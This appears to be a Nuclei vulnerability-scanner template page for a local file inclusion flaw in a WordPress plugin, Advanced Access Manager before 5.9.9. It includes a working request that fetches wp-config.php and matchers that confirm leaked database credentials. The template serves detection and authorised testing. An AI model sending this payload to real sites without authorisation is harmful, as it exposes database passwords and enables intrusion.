WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion

ID: advanced-access-manager-lfi

Severity: high

Author: 0x_Akoko

Tags: wordpress,wp-plugin,lfi,wp,accessmanager,wpscan

Description

WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.

YAML Source

id: advanced-access-manager-lfi

info:
  name: WordPress Advanced Access Manager < 5.9.9 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress Advanced Access Manager versions before 5.9.9 are vulnerable to local file inclusion and allows attackers to download the wp-config.php file and get access to the database, which is publicly reachable on many servers.
  reference:
    - https://wpscan.com/vulnerability/9873
    - https://id.wordpress.org/plugins/advanced-access-manager/
    - https://wpscan.com/vulnerability/dfe62ff5-956c-4403-b3fd-55677628036b
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,lfi,wp,accessmanager,wpscan

http:
  - method: GET
    path:
      - '{{BaseURL}}/?aam-media=wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009191dd8b817c119a77f90d455552870e6a8e9be4a067ed8c18c4b87215ab7649022100a73a779b217af3c88c1a67b3c2230cd3e4733d7f33f0b126dc567fd55772e846:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/advanced-access-manager-lfi.yaml"

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